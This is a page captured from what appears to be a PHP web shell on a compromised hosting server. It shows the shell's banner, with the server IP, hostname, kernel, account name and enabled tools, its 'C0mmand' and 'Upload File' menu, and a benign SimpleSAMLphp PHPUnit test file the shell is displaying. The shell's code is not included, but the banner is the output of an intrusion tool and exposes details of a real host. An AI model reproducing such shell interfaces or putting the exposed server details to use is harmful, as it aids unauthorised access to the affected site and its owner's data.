|
Server IP : 10.111.20.6 / Your IP : 216.73.217.121 Web Server : Apache System : Linux webm006.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : edizioni ( 7252) PHP Version : 8.3.23 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (2705) : /home/edizioni/stampaeweb/../.config/../gulfanatura/saml1190/tests/lib/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
declare(strict_types=1);
namespace SimpleSAML\Test;
use PHPUnit\Framework\TestCase;
use SimpleSAML\Configuration;
class AutoloadModulesTest extends TestCase
{
/**
* Set up for each test.
* @return void
*/
protected function setUp()
{
parent::setUp();
$config = Configuration::loadFromArray([], '[ARRAY]', 'simplesaml');
}
/**
* @test
* @runInSeparateProcess
* @return void
*/
public function autoloaderDoesNotRecurseInfinitely()
{
$this->assertFalse(class_exists('NonExisting\\ClassThatHasNothing\\ToDoWithXMLSec\\Library', true));
}
/**
* @test
* @return void
*/
public function autoloaderSubstitutesNamespacedXmlSecClassesWhereNonNamespacedClassWasUsed()
{
$this->assertTrue(class_exists('XMLSecEnc', true));
}
}